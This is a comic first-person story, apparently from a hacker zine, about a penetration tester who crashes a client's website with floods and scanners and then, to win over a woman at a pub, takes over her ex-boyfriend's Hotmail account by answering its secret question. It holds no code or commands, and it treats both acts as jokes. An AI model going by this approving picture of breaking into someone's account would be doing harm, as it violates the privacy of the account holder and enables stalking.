progress bar to complete'no joy. I fire up Nikto, Webscan, N-Stealth AND
ISS at the same time enabling all dangerous plugins in an attempt to DoS
this ugly webserver, certainly not running Free/GNU open source software
but something proprietary and expensive starting from I and ending in IS.
In addition to that I launch independent SYN FLOOD attacks and distributed
teardroping to improve my chances of achieving the goal. Soon, the website
falls clumsily like a non-armoured villager in the battle of Waterloo.
I smile with content as the overbloated, dysmorphic, dynamic html pages are
soon replaced with a plain, powerful, beautiful and snowy white 404 error.
A minute of silence and peace is instantly shattered by the phone ringing.
It's the operations manager.
- Pascal, they people from Dorksershire_Upon_Avon just called me complaining
that the website is down. Does that have something to do with the pen
testing we perform?
- Well , partially yes, I respond. And then, more aggressively I explain
"If the client wants a penetration test to be complete they have to get
their website tested against Denial Of Service Attacks, the most innocuous
and common type of attack nowadays. They will thank us for that,
eventually. Moreover, we had warned them about the danger of DoS when
they signed the contract. Despite the fact that we take every precaution
to avoid such a side-effect, DoS is a risk that comes bundled with proper
testing. I clearly remember that sales guy. He'd thought that with the
term DoS I meant that black, command-line pre-windows OS, the one that
emptied the screen when you typed CLS. Oh well.
- Thank you Pascal, I will inform them.
It's already 4+30...I'd like to escape earlier today, especially now, after
the DoS unfortunate 'incident' that has put a temporary pause to our duties
I can't do much.
The operations manager is now gone, or he might even be in the loo, who
cares, now is my ultimate chance to scram. Within seconds, literally, I'm
sitting right in the middle of the 'Thirsty Fox' pub. Oooh I love this
place.
- Pint of John Smith's please
- Sure mate
- Cheers
- Cheers
A fractal amount of ale gets spilled over the counter
- Sorry
- Sorry
- That's all right mate
- Cheers
- Cheers
I grab the glass and drink half of the beer in one go. Then I look around
for female presence vulnerable to man in the middle attack. Equipped with
my brand new 'penetration testing anyone?' t-shirt, I can't lose.
There she is! Black hair, my type. I down the rest of my drink, order
another pint.
- Pint of John Smith's please
- Sure mate
- Cheers
- Cheers
I Grab the glass and make my move.
- Hey
- Hiya.
- You come here often? I say with an epic voice
- Yeah , quite often she responds uninterested
- You know, I'm a penetration tester. My voice is deep and certainly erotic.
- *Silence*
- I'm a hacker, I say, and I get paid to do it.
- Ha. That's interesting. Do you hack hotmail?
- Of course, I respond confidently. I'm a Hotmail Hacking Certified Reverse
Engineer and president of the British Open Source institute for
...mm...E-mail Compromise (HHCRE&PBOSIEC)
- Wow, she says impressed. Could you offer me your valuable help then please?
There is a particular email account that I have forgotten the password for
and has critical information for me. The account is
Brutus_Needham@hotmail.com...Would you help me hack it?
- Sure, no worries. Why don't we finish these drinks and be gone, I live
nearby. In my place I got 1Gb Download/512MB X-DSL access, 3 workstations
and 2 mainframes running different command-line OSs. In the worst case
scenario, we can always run a distributed john the ripper dictionary attack
using my VERY LONG AND THICK dictionaries, I say in an attempt to impress.
The girl is moving her head, looking somehow puzzled. We'll sort out your
situation in a jiffy, I add to simplify things. Say, how can this be your
email account, tho'? isn't that a man's name? I say while blinking at the
same time.
- Well. _blush_ ok you got me! It's my darn ex boyfriend and I have to find
out what he has been doing! If you don' mind.
- No worries, we can take care of that. I'm glad I can be of assistance.
Your female friend can join us as well if she feels like a 'small
penetrating class' free of charge!, I say, while making some fast, and
certainly erotic & meaningful gestures.
- Yeah, why not! sounds like fun! , both girls reply.
- Bingo. Let's get to some real penetration testing, I think to myself while
smiling.
I don't own a car since I believe that it's a good idea not to acquire
products that will make your life more stressful and costly. Why pay car
insurance, petrol and refrain one's self from the wonderful act of drinking
John Smith's when you can use public transport completely wasted, or walk,
or cycle (wasted). Generally, I consider that people should only buy goods
that they absolutely need. An oscilloscope, for instance, is an example of
an absolutely necessary device, that's why I own two of them. Other than
that, not owning things provides the luxury of being flexible, free, and
ensures you tread lightly on this earth. Anywayz.
So we walk home, myself in the middle , girls on both sides.
- So, what's your name, hacker? One of the girls asks.
- Pascal, I reply. Pascal Cretain.
- Ha, this is not a very usual name. Where do you come from , Pascal?
- I come from the land of Compromise. I respond, looking at the void.
- You are an interesting one, Pascal. I honestly hope you're not
bullshiting around with us.
- As a true hacker, I will speak with actions and not with useless words,
I say. Just wait till we crack that Brutus who needs ham, girl.
Soon, all three of us are sitting comfortably in my messy 'IT room'. One
of the girls asks:
- Hey, where is your equipment mate? Didn't you say you had five computers
with X-LSD internet? All I can see is a shitty laptop! What's going on?
And where is the LSD?
- Don't worry honey, I reply with a calm voice. My computer equipment is all
here. But not quite. This laptop basically is the access point to my REAL
IT infrastructure, which resides somewhere near - very near. Unfortunately,
due to non-disclosure confidentiality agreements, I cannot inform you of
the real location of my computers, nor show you around, tho' I'd love
to - sigh. The girls are gazing at me, unconvinced
- Oh well , whatever. D'you have anything we can drink then?
- Sure, I got John Smith's premium Ale. They grab a can each and start
chatting about online shopping.
I grab a can and quickly get to work . I browse to passport.net, then reset
password, choose country, type in the username....wait for the Brutus'
'Secret' question. Fuck yeah!
- Hey, girl, you didn't tell me your name. I ask the 'interested party'.
'Jude' she responds..I type in the answer to Brutus's secret question,
then reset the password to 'Oscilloscoped'
- Mine is Gloria , the other girl says.
- Hey Jude, I says. Wanna come over here? I got somethin' for you. Fact I
got two. I blink.
Both girls approach. I sit back and smile.
It's not such a bad day after all.
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
